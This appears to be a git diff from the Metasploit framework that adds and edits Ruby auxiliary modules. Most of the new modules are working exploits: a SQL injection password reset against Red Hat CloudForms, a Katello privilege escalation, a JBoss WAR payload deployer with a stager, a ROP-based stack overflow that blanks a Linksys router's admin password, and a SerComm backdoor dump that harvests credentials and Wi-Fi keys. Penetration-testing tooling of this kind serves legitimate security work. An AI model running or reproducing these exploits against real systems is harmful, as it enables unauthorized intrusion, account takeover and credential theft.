b/modules/auxiliary/admin/chromecast/chromecast_youtube.rb @@ -0,0 +1,91 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Chromecast YouTube Remote Control', + 'Description' => %q{ + This module acts as a simple remote control for Chromecast YouTube. + }, + 'Author' => ['wvu'], + 'References' => [ + ['URL', 'http://www.google.com/intl/en/chrome/devices/chromecast/index.html'] # vendor website + ], + 'License' => MSF_LICENSE, + 'Actions' => [ + ['Play', 'Description' => 'Play video'], + ['Stop', 'Description' => 'Stop video'] + ], + 'DefaultAction' => 'Play' + )) + + register_options([ + Opt::RPORT(8008), + OptString.new('VID', [true, 'Video ID', 'kxopViU98Xo']) + ], self.class) + end + + def run + vid = datastore['VID'] + + case action.name + when 'Play' + res = play(vid) + when 'Stop' + res = stop + end + + return unless res + + case res.code + when 201 + print_good("Playing https://www.youtube.com/watch?v=#{vid}") + when 200 + print_status("Stopping video") + when 404 + print_error("Couldn't #{action.name.downcase} video") + end + end + + def play(vid) + begin + send_request_cgi( + 'method' => 'POST', + 'uri' => '/apps/YouTube', + 'agent' => Rex::Text.rand_text_english(rand(42) + 1), + 'vars_post' => { + 'v' => vid + } + ) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable => e + fail_with(Failure::Unreachable, e) + ensure + disconnect + end + end + + def stop + begin + send_request_raw( + 'method' => 'DELETE', + 'uri' => '/apps/YouTube', + 'agent' => Rex::Text.rand_text_english(rand(42) + 1) + ) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable => e + fail_with(Failure::Unreachable, e) + ensure + disconnect + end + end + +end diff --git a/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb b/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb index e0362290f1..e5f4fa8710 100644 --- a/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb +++ b/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb @@ -13,7 +13,7 @@ class Metasploit4 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Cisco Secure ACS Version < 5.1.0.44.5 or 5.2.0.26.2 Unauthorized Password Change', + 'Name' => 'Cisco Secure ACS Unauthorized Password Change', 'Description' => %q{ This module exploits an authentication bypass issue which allows arbitrary password change requests to be issued for any user in the local store. diff --git a/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb b/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb index e7591a5129..6c051acea2 100644 --- a/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb +++ b/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb @@ -50,21 +50,21 @@ class Metasploit3 < Msf::Auxiliary print_status("Attempting to create directory: MKD #{test}") sock.put("MKD #{test}\r\n") - res = sock.get(-1,5) + res = sock.get_once(-1,5) if (res =~/257 MKD command successful\./) print_status("\tDirectory #{test} reportedly created. Verifying with SIZE #{test}") sock.put("SIZE #{test}\r\n") - res = sock.get(-1,5) + res = sock.get_once(-1,5) if (res =~ /550 Not a regular file/) print_status("\tServer reports \"not a regular file\". Directory verified.") print_status("\tAttempting to delete directory: RMD #{test}") sock.put("RMD #{test}\r\n") - res = sock.get(-1,5) + res = sock.get_once(-1,5) if (res =~ /250 RMD command successful\./) print_status("\tDirectory #{test} reportedly deleted. Verifying with SIZE #{test}") sock.put("SIZE #{test}\r\n") - res = sock.get(-1,5) + res = sock.get_once(-1,5) print_status("\tDirectory #{test} no longer exists!") print_status("Target is confirmed as vulnerable!") end diff --git a/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb b/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb index 6f1d79d1c7..bd07281f2d 100644 --- a/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb +++ b/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb @@ -130,7 +130,7 @@ class Metasploit3 < Msf::Auxiliary | - template = template.gsub(/^\t\t/, '') + template = template.gsub(/^ {4}/, '') template = template.gsub(/\n/, '') connect diff --git a/modules/auxiliary/admin/http/axigen_file_access.rb b/modules/auxiliary/admin/http/axigen_file_access.rb index 2b3e656c44..d99f9dbb57 100644 --- a/modules/auxiliary/admin/http/axigen_file_access.rb +++ b/modules/auxiliary/admin/http/axigen_file_access.rb @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Auxiliary OptString.new('TARGETURI',[ true, 'Path to Axigen WebAdmin', '/' ]), OptString.new('USERNAME', [ true, 'The user to authenticate as', 'admin' ]), OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]), - OptString.new('PATH', [ true, 'The file to read or delete', "\\boot.ini" ]) + OptString.new('PATH', [ true, 'The file to read or delete', "\\windows\\win.ini" ]) ], self.class) end @@ -167,7 +167,7 @@ class Metasploit3 < Msf::Auxiliary if res and res.code == 303 and res.headers['Location'] =~ /_h=([a-f0-9]*)/ @token = $1 - if res.headers['Set-Cookie'] =~ /_hadmin=([a-f0-9]*)/ + if res.get_cookies =~ /_hadmin=([a-f0-9]*)/ @session = $1 return true end diff --git a/modules/auxiliary/admin/http/cfme_manageiq_evm_pass_reset.rb b/modules/auxiliary/admin/http/cfme_manageiq_evm_pass_reset.rb new file mode 100644 index 0000000000..15a995d8a0 --- /dev/null +++ b/modules/auxiliary/admin/http/cfme_manageiq_evm_pass_reset.rb @@ -0,0 +1,175 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'bcrypt' +require 'digest' +require 'openssl' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize + super( + 'Name' => 'Red Hat CloudForms Management Engine 5.1 miq_policy/explorer SQL Injection', + 'Description' => %q{ + This module exploits a SQL injection vulnerability in the "explorer" + action of "miq_policy" controller of the Red Hat CloudForms Management + Engine 5.1 (ManageIQ Enterprise Virtualization Manager 5.0 and earlier) by + changing the password of the target account to the specified password. + }, + 'Author' => 'Ramon de C Valle', + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2013-2050'], + ['CWE', '89'], + ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=959062'] + ], + 'DefaultOptions' => + { + 'SSL' => true + }, + 'DisclosureDate' => 'Nov 12 2013' + ) + + register_options( + [ + Opt::RPORT(443), + OptString.new('USERNAME', [true, 'Your username']), + OptString.new('PASSWORD', [true, 'Your password']), + OptString.new('TARGETUSERNAME', [true, 'The username of the target account', 'admin']), + OptString.new('TARGETPASSWORD', [true, 'The password of the target account', 'smartvm']), + OptString.new('TARGETURI', [ true, 'The path to the application', '/']), + OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST'] ]) + ], self.class + ) + end + + def password_for_newer_schema + # Newer versions use ActiveModel's SecurePassword. + BCrypt::Password.create(datastore['TARGETPASSWORD']) + end + + def password_for_older_schema + # Older versions use ManageIQ's MiqPassword. + if datastore['TARGETPASSWORD'].empty? + 'v1:{}' + else + password = '1234567890123456' + salt = '6543210987654321' + cipher = OpenSSL::Cipher.new('AES-256-CBC') + cipher.encrypt + cipher.key = Digest::SHA256.digest("#{salt}#{password}")[0...32] + encrypted = cipher.update(datastore['TARGETPASSWORD']) + cipher.final + "v1:{#{Rex::Text.encode_base64(encrypted)}}" + end + end + + def password_reset? + print_status("Trying to log into #{target_url('dashboard')} using the target account...") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'dashboard', 'authenticate'), + 'vars_post' => { + 'user_name' => datastore['TARGETUSERNAME'], + 'user_password' => datastore['TARGETPASSWORD'] + } + ) + + if res.nil? + print_error('No response from remote host') + return false + end + + if res.body =~ /"Error: (.*)"/ + print_error($1) + false + else + true + end + end + + def run + print_status("Logging into #{target_url('dashboard')}...") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'dashboard', 'authenticate'), + 'vars_post' => { + 'user_name' => datastore['USERNAME'], + 'user_password' => datastore['PASSWORD'] + } + ) + + if res.nil? + print_error('No response from remote host') + return + end + + if res.body =~ /"Error: (.*)"/ + print_error($1) + return + else + session = $1 if res.get_cookies =~ /_vmdb_session=(\h*)/ + + if session.nil? + print_error('Failed to retrieve the current session id') + return + end + end + + # Newer versions don't accept POST requests. + print_status("Sending password-reset request to #{target_url('miq_policy', 'explorer')}...") + send_request_cgi( + 'cookie' => "_vmdb_session=#{session}", + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'miq_policy', 'explorer'), + 'vars_get' => { + 'profile[]' => value_for_newer_schema + } + ) + + if password_reset? + print_good('Password reset successfully') + return + else + print_error('Failed to reset password') + end + + print_status("Sending (older-schema) password-reset request to #{target_url('miq_policy', 'explorer')}...") + send_request_cgi( + 'cookie' => "_vmdb_session=#{session}", + 'method' => datastore['HTTP_METHOD'], + 'uri' => normalize_uri(target_uri.path, 'miq_policy', 'explorer'), + "vars_#{datastore['HTTP_METHOD'].downcase}" => { + 'profile[]' => value_for_older_schema + } + ) + + if password_reset? + print_good('Password reset successfully') + else + print_error('Failed to reset password') + end + end + + def target_url(*args) + (ssl ? 'https' : 'http') + + if rport.to_i == 80 || rport.to_i == 443 + "://#{vhost}" + else + "://#{vhost}:#{rport}" + end + normalize_uri(target_uri.path, *args) + end + + def value_for_newer_schema + "1 = 1); UPDATE users SET password_digest = '#{password_for_newer_schema}' WHERE userid = '#{datastore['TARGETUSERNAME']}' --" + end + + def value_for_older_schema + "1 = 1); UPDATE users SET password = '#{password_for_older_schema}' WHERE userid = '#{datastore['TARGETUSERNAME']}' --" + end +end diff --git a/modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb b/modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb index bdd15b4d30..e838b4d12c 100644 --- a/modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb +++ b/modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb @@ -67,7 +67,7 @@ class Metasploit4 < Msf::Auxiliary print_error('Authentication failed') return else - session = $1 if res.headers['Set-Cookie'] =~ /_session_id=([0-9a-f]*)/ + session = $1 if res.get_cookies =~ /_session_id=([0-9a-f]*)/ if session.nil? print_error('Failed to retrieve the current session id') diff --git a/modules/auxiliary/admin/http/intersil_pass_reset.rb b/modules/auxiliary/admin/http/intersil_pass_reset.rb index 7d663c7a44..465a4aa556 100644 --- a/modules/auxiliary/admin/http/intersil_pass_reset.rb +++ b/modules/auxiliary/admin/http/intersil_pass_reset.rb @@ -52,12 +52,12 @@ class Metasploit3 < Msf::Auxiliary }) if (res and (m = res.headers['Server'].match(/Boa\/(.*)/))) - print_status("#{peer} - Boa Version Detected: #{m[1]}") + vprint_status("#{peer} - Boa Version Detected: #{m[1]}") return Exploit::CheckCode::Safe if (m[1][0].ord-48>0) # boa server wrong version return Exploit::CheckCode::Safe if (m[1][3].ord-48>4) return Exploit::CheckCode::Vulnerable else - print_status("#{peer} - Not a Boa Server!") + vprint_status("#{peer} - Not a Boa Server!") return Exploit::CheckCode::Safe # not a boa server end diff --git a/modules/auxiliary/admin/http/jboss_bshdeployer.rb b/modules/auxiliary/admin/http/jboss_bshdeployer.rb new file mode 100644 index 0000000000..6e70fc4712 --- /dev/null +++ b/modules/auxiliary/admin/http/jboss_bshdeployer.rb @@ -0,0 +1,135 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::HTTP::JBoss + + def initialize + super( + 'Name' => 'JBoss JMX Console Beanshell Deployer WAR Upload and Deployment', + 'Description' => %q{ + This module can be used to install a WAR file payload on JBoss servers that have + an exposed "jmx-console" application. The payload is put on the server by + using the jboss.system:BSHDeployer's createScriptDeployment() method. + }, + 'Author' => + [ + 'us3r777 ' + ], + 'References' => + [ + [ 'CVE', '2010-0738' ], # using a VERB other than GET/POST + [ 'OSVDB', '64171' ], + [ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ], + [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ] + ], + 'Actions' => + [ + ['Deploy'], + ['Undeploy'] + ], + 'DefaultAction' => 'Deploy', + 'License' => BSD_LICENSE, + ) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('APPBASE', [ true, 'Application base name', 'payload']), + OptString.new('STAGERNAME', [ false, 'Only used if VERB is not POST', 'stager']), + OptPath.new('WARFILE', [ false, 'The WAR file to deploy']) + ], self.class) + end + + def deploy_action(app_base, stager_name, war_data) + encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '') + + if http_verb == 'POST' + print_status("#{peer} - Deploying payload...") + opts = { + :file => "#{app_base}.war", + :contents => encoded_payload + } + else + print_status("#{peer} - Deploying stager...") + stager_contents = stager_jsp(app_base) + opts = { + :dir => "#{stager_name}.war", + :file => "#{stager_name}.war/#{stager_name}.jsp", + :contents => Rex::Text.encode_base64(stager_contents).gsub(/\n/, '') + } + end + + bsh_payload = generate_bsh(:create, opts) + package = deploy_bsh(bsh_payload) + + if package.nil? + print_error("#{peer} - Deployment failed") + return + else + print_good("#{peer} - Deployment successful") + end + + unless http_verb == 'POST' + # call the stager to deploy our real payload war + stager_uri = '/' + stager_name + '/' + stager_name + '.jsp' + payload_data = "#{rand_text_alpha(8+rand(8))}=#{Rex::Text.uri_encode(encoded_payload)}" + print_status("#{peer} - Calling stager #{stager_uri} to deploy final payload...") + res = deploy('method' => 'POST', + 'data' => payload_data, + 'uri' => stager_uri) + if res && res.code == 200 + print_good("#{peer} - Payload deployed") + else + print_error("#{peer} - Failed to deploy final payload") + end + end + + end + + def undeploy_action(app_base, stager_name) + # Undeploy the WAR and the stager if needed + print_status("#{peer} - Undeploying #{app_base} by deleting the WAR file via BSHDeployer...") + + files = {} + unless stager_name.nil? + files[:stager_jsp_name] = "#{stager_name}.war/#{stager_name}.jsp" + files[:stager_base] = "#{stager_name}.war" + end + files[:app_base] = "#{app_base}.war" + delete_script = generate_bsh(:delete, files) + + package = deploy_bsh(delete_script) + if package.nil? + print_error("#{peer} - Unable to remove WAR") + else + print_good("#{peer} - Successfully removed") + end + end + + def run + app_base = datastore['APPBASE'] + if http_verb == 'POST' + stager_name = nil + else + stager_name = datastore['STAGERNAME'] + stager_name = "stager" if stager_name.blank? + end + + case action.name + when 'Deploy' + unless File.exist?(datastore['WARFILE']) + print_error("WAR file not found") + end + war_data = File.read(datastore['WARFILE']) + deploy_action(app_base, stager_name, war_data) + when 'Undeploy' + undeploy_action(app_base, stager_name) + end + end +end diff --git a/modules/auxiliary/admin/http/katello_satellite_priv_esc.rb b/modules/auxiliary/admin/http/katello_satellite_priv_esc.rb new file mode 100644 index 0000000000..c6ccab6c40 --- /dev/null +++ b/modules/auxiliary/admin/http/katello_satellite_priv_esc.rb @@ -0,0 +1,148 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize + super( + 'Name' => 'Katello (Red Hat Satellite) users/update_roles Missing Authorization', + 'Description' => %q{ + This module exploits a missing authorization vulnerability in the + "update_roles" action of "users" controller of Katello and Red Hat Satellite + (Katello 1.5.0-14 and earlier) by changing the specified account to an + administrator account. + }, + 'Author' => 'Ramon de C Valle', + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2013-2143'], + ['CWE', '862'], + ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=970849'] + ], + 'DisclosureDate' => 'Mar 24 2014' + ) + + register_options( + [ + Opt::RPORT(443), + OptBool.new('SSL', [true, 'Use SSL', true]), + OptString.new('USERNAME', [true, 'Your username']), + OptString.new('PASSWORD', [true, 'Your password']), + OptString.new('TARGETURI', [ true, 'The path to the application', '/']), + ], self.class + ) + end + + def run + print_status("Logging into #{target_url}...") + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'user_session', 'new'), + 'vars_get' => { + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + } + ) + + if res.nil? + print_error('No response from remote host') + return + end + + if res.headers['Location'] =~ /user_session\/new$/ + print_error('Authentication failed') + return + else + session = $1 if res.get_cookies =~ /_katello_session=(\S*);/ + + if session.nil? + print_error('Failed to retrieve the current session') + return + end + end + + print_status('Retrieving the CSRF token for this session...') + res = send_request_cgi( + 'cookie' => "_katello_session=#{session}", + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'dashboard') + ) + + if res.nil? + print_error('No response from remote host') + return + end + + if res.headers['Location'] =~ /user_session\/new$/ + print_error('Authentication failed') + return + else + session = $1 if res.get_cookies =~ /_katello_session=(\S*);/ + + if session.nil? + print_error('Failed to retrieve the current session') + return + end + end + + if res.headers['Location'] =~ /user_session\/new$/ + print_error('Failed to retrieve the user id') + return + else + csrf_token = $1 if res.body =~ //i + csrf_token = $1 if res.body =~ //i if csrf_token.nil? + + if csrf_token.nil? + print_error('Failed to retrieve the CSRF token') + return + end + + user = $1 if res.body =~ /\/users.(\d+)#list_search=#{datastore['USERNAME']}/ + + if user.nil? + print_error('Failed to retrieve the user id') + return + end + end + + print_status("Sending update-user request to #{target_url('users', user, 'update_roles')}...") + res = send_request_cgi( + 'cookie' => "_katello_session=#{session}", + 'headers' => { + 'X-CSRF-Token' => csrf_token + }, + 'method' => 'PUT', + 'uri' => normalize_uri(target_uri.path, 'users', user, 'update_roles'), + 'vars_post' => { + 'user[role_ids][]' => '1' + } + ) + + if res.nil? + print_error('No response from remote host') + return + end + + if res.headers['X-Message-Type'] =~ /success$/ + print_good('User updated successfully') + else + print_error('Failed to update user') + end + end + + def target_url(*args) + (ssl ? 'https' : 'http') + + if rport.to_i == 80 || rport.to_i == 443 + "://#{vhost}" + else + "://#{vhost}:#{rport}" + end + normalize_uri(target_uri.path, *args) + end +end diff --git a/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb b/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb new file mode 100644 index 0000000000..570bc1e02b --- /dev/null +++ b/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb @@ -0,0 +1,109 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Linksys WRT120N tmUnblock Stack Buffer Overflow', + 'Description' => %q{ + This module exploits a stack-based buffer overflow vulnerability in the WRT120N Linksys router + to reset the password of the management interface temporarily to an empty value. + This module has been tested successfully on a WRT120N device with firmware version + 1.0.07. + }, + 'Author' => + [ + 'Craig Heffner', #vulnerability discovery and original exploit + 'Michael Messner ' #metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'EDB', '31758' ], + [ 'OSVDB', '103521' ], + [ 'URL', 'http://www.devttys0.com/2014/02/wrt120n-fprintf-stack-overflow/' ] # a huge amount of details about this vulnerability and the original exploit + ], + 'DisclosureDate' => 'Feb 19 2014')) + end + + def check_login(user) + print_status("#{peer} - Trying to login with #{user} and empty password") + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET', + 'authorization' => basic_auth(user,"") + }) + if res.nil? || res.code == 404 + print_status("#{peer} - No login possible with #{user} and empty password") + return false + elsif [200, 301, 302].include?(res.code) + print_good("#{peer} - Successful login #{user} and empty password") + return true + else + print_status("#{peer} - No login possible with #{user} and empty password") + return false + end + end + + def run + + begin + if check_login("admin") + print_good("#{peer} - login with user admin and no password possible. There is no need to use this module.") + return + end + rescue ::Rex::ConnectionError + print_error("#{peer} - Failed to connect to the web server") + return + end + + print_status("#{peer} - Resetting password for the admin user ...") + + postdata = Rex::Text.rand_text_alpha(246) # Filler + postdata << [0x81544AF0].pack("N") # $s0, address of admin password in memory + postdata << [0x8031f634].pack("N") # $ra + postdata << Rex::Text.rand_text_alpha(40) # Stack filler + postdata << Rex::Text.rand_text_alpha(4) # Stack filler + postdata << [0x803471b8].pack("N") # ROP 1 $ra (address of ROP 2) + postdata << Rex::Text.rand_text_alpha(8) # Stack filler + + (0..3).each do |i| + postdata << Rex::Text.rand_text_alpha(4) # ROP 2 $s0, don't care + postdata << Rex::Text.rand_text_alpha(4) # ROP 2 $s1, don't care + postdata << [0x803471b8].pack("N") # ROP 2 $ra (address of itself) + postdata << Rex::Text.rand_text_alpha(4-(3*(i/3))) # Stack filler + end + + begin + res = send_request_cgi( + { + 'uri' => normalize_uri("cgi-bin", "tmUnblock.cgi"), + 'method' => 'POST', + 'vars_post' => { + 'period' => '0', + 'TM_Block_MAC' => '00:01:02:03:04:05', + 'TM_Block_URL' => postdata + } + }) + if res and res.code == 500 + if check_login("admin") + print_good("#{peer} - Expected answer and the login was successful. Try to login with the user admin and a blank password") + else + print_status("#{peer} - Expected answer, but unknown exploit status. Try to login with the user admin and a blank password") + end + else + print_error("#{peer} - Unexpected answer. Exploit attempt has failed") + end + rescue ::Rex::ConnectionError + print_error("#{peer} - Failed to connect to the web server") + return + end + end +end diff --git a/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb b/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb index 32c3ce4654..dc262ee55a 100644 --- a/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb +++ b/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb @@ -139,7 +139,7 @@ class Metasploit3 < Msf::Auxiliary 'method' => 'GET' }) - if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/ + if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=(.*);/ first_session = $1 end @@ -165,7 +165,7 @@ class Metasploit3 < Msf::Auxiliary 'cookie' => "JSESSIONID=#{first_session}" }) - if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/ + if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=(.*);/ @session = $1 return true end diff --git a/modules/auxiliary/admin/http/tomcat_administration.rb b/modules/auxiliary/admin/http/tomcat_administration.rb index b40fb44141..ecc0464e17 100644 --- a/modules/auxiliary/admin/http/tomcat_administration.rb +++ b/modules/auxiliary/admin/http/tomcat_administration.rb @@ -73,9 +73,9 @@ class Metasploit3 < Msf::Auxiliary 'uri' => '/admin/', }, 25) - if (res and res.code == 200) + if res && res.code == 200 - if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/JSESSIONID=(.*);(.*)/i)) + if res.get_cookies.match(/JSESSIONID=(.*);(.*)/i) jsessionid = $1 diff --git a/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb b/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb index df39e50604..efa26117ab 100644 --- a/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb +++ b/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb @@ -141,7 +141,7 @@ class Metasploit4 < Msf::Auxiliary juarray = "a:3:{i:0;s:#{jumpurl_len.to_s()}:\"#{jumpurl_enc}\"" juarray << ";i:1;s:#{locationData.length}:\"#{locationData}\";i:2;" juarray << "s:0:\"\";}" - juhash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new('sha1'), enc_key, juarray) + juhash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), enc_key, juarray) end file_uri = "#{datastore['URI']}/index.php?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=#{juhash}" diff --git a/modules/auxiliary/admin/misc/sercomm_dump_config.rb b/modules/auxiliary/admin/misc/sercomm_dump_config.rb new file mode 100644 index 0000000000..6081b4bacd --- /dev/null +++ b/modules/auxiliary/admin/misc/sercomm_dump_config.rb @@ -0,0 +1,242 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/auxiliary/report' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Report + + SETTINGS = { + 'Creds' => [ + [ 'HTTP Web Management', { 'user' => /http_username=(\S+)/i, 'pass' => /http_password=(\S+)/i } ], + [ 'HTTP Web Management Login', { 'user' => /login_username=(\S+)/i, 'pass' => /login_password=(\S+)/i } ], + [ 'PPPoE', { 'user' => /pppoe_username=(\S+)/i, 'pass' => /pppoe_password=(\S+)/i } ], + [ 'PPPoA', { 'user' => /pppoa_username=(\S+)/i, 'pass' => /pppoa_password=(\S+)/i } ], + [ 'DDNS', { 'user' => /ddns_user_name=(\S+)/i, 'pass' => /ddns_password=(\S+)/i } ], + [ 'CMS', {'user' => /cms_username=(\S+)/i, 'pass' => /cms_password=(\S+)/i } ], # Found in some cameras + [ 'BigPondAuth', {'user' => /bpa_username=(\S+)/i, 'pass' => /bpa_password=(\S+)/i } ], # Telstra + [ 'L2TP', { 'user' => /l2tp_username=(\S+)/i, 'pass' => /l2tp_password=(\S+)/i } ], + [ 'FTP', { 'user' => /ftp_login=(\S+)/i, 'pass' => /ftp_password=(\S+)/i } ], + ], + 'General' => [ + ['Wifi SSID', /wifi_ssid=(\S+)/i], + ['Wifi Key 1', /wifi_key1=(\S+)/i], + ['Wifi Key 2', /wifi_key2=(\S+)/i], + ['Wifi Key 3', /wifi_key3=(\S+)/i], + ['Wifi Key 4', /wifi_key4=(\S+)/i], + ['Wifi PSK PWD', /wifi_psk_pwd=(\S+)/i] + ] + } + + attr_accessor :endianess + attr_accessor :credentials + + def initialize(info={}) + super(update_info(info, + 'Name' => "SerComm Device Configuration Dump", + 'Description' => %q{ + This module will dump the configuration of several SerComm devices. These devices + typically include routers from NetGear and Linksys. This module was tested + successfully against the NetGear DG834 series ADSL modem router. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Eloi Vanderbeken ', #Initial discovery, poc + 'Matt "hostess" Andreko ' #Msf module + ], + 'References' => + [ + [ 'OSVDB', '101653' ], + [ 'URL', 'https://github.com/elvanderb/TCP-32764' ] + ], + 'DisclosureDate' => "Dec 31 2013" )) + + register_options( + [ + Opt::RPORT(32764), + ], self.class) + end + + def run + print_status("#{peer} - Attempting to connect and check endianess...") + @endianess = fingerprint_endian + @credentials = {} + + if endianess.nil? + print_error("Failed to check endianess, aborting...") + return + end + print_good("#{peer} - #{string_endianess} device found...") + + print_status("#{peer} - Attempting to connect and dump configuration...") + config = dump_configuration + + if config.nil? + print_status("#{peer} - Error retrieving configuration, aborting...") + return + end + + loot_file = store_loot("router.config", "text/plain", rhost, config[:data], "#{rhost}router_config.txt", "Router Configurations") + print_status("#{peer} - Router configuration dump stored in: #{loot_file}") + + parse_configuration(config[:data]) + end + + private + + def little_endian? + return endianess == 'LE' + end + + def big_endian? + return endianess == 'BE' + end + + def string_endianess + if little_endian? + return "Little Endian" + elsif big_endian? + return "Big Endian" + end + + return nil + end + + def peer + return "#{rhost}:#{rport}" + end + + def fingerprint_endian + begin + connect + sock.put(Rex::Text.rand_text(5)) + res = sock.get_once(-1, 10) + disconnect + rescue Rex::ConnectionError => e + print_error("Connection failed: #{e.class}: #{e}") + return nil + end + + unless res + return nil + end + + if res.start_with?("MMcS") + return 'BE' + elsif res.start_with?("ScMM") + return 'LE' + end + + return nil + end + + def dump_configuration + if big_endian? + pkt = [0x4d4d6353, 0x01, 0x00].pack("NVV") + elsif little_endian? + pkt = [0x4d4d6353, 0x01, 0x00].pack("VNN") + else + return nil + end + + connect + sock.put(pkt) + res = sock.get_once(-1, 10) + + disconnect + + if res.blank? + vprint_error("#{peer} - No answer...") + return + end + + if big_endian? + mark, zero, length, data = res.unpack("NVVa*") + else + mark, zero, length, data = res.unpack("VNNa*") + end + + unless mark == 0x4d4d6353 + vprint_error("#{peer} - Incorrect mark when reading response") + return nil + end + + unless zero == 0 + vprint_error("#{peer} - Incorrect zero when reading response") + return nil + end + + unless length == data.length + vprint_warning("#{peer} - Inconsistent length / data packet") + #return nil + end + + return { :length => length, :data => data } + end + + def parse_configuration(data) + configs = data.split(?\x00) + + if datastore['VERBOSE'] + vprint_status('All configuration values:') + configs.sort.each do |i| + if i.strip.match(/.*=\S+/) + vprint_status(i) + end + end + end + + configs.each do |config| + parse_general_config(config) + parse_auth_config(config) + end + + @credentials.each do |k,v| + next unless v[:user] and v[:password] + print_status("#{peer} - #{k}: User: #{v[:user]} Pass: #{v[:password]}") + auth = { + :host => rhost, + :port => rport, + :user => v[:user], + :pass => v[:password], + :type => 'password', + :source_type => "exploit", + :active => true + } + report_auth_info(auth) + end + + end + + def parse_general_config(config) + SETTINGS['General'].each do |regex| + if config.match(regex[1]) + value = $1 + print_status("#{peer} - #{regex[0]}: #{value}") + end + end + end + + def parse_auth_config(config) + SETTINGS['Creds'].each do |cred| + @credentials[cred[0]] = {} unless @credentials[cred[0]] + + # find the user/pass + if config.match(cred[1]['user']) + @credentials[cred[0]][:user] = $1 + end + + if config.match(cred[1]['pass']) + @credentials[cred[0]][:password] = $1 + end + + end + end + +end diff --git a/modules/auxiliary/admin/misc/wol.rb b/modules/auxiliary/admin/misc/wol.rb index cba102f051..d444fec1cc 100644 --- a/modules/auxiliary/admin/misc/wol.rb +++ b/modules/auxiliary/admin/misc/wol.rb @@ -36,14 +36,6 @@ class Metasploit3 < Msf::Auxiliary deregister_options('RHOST', 'RPORT') end - # - # Restore the original rhost:rport - 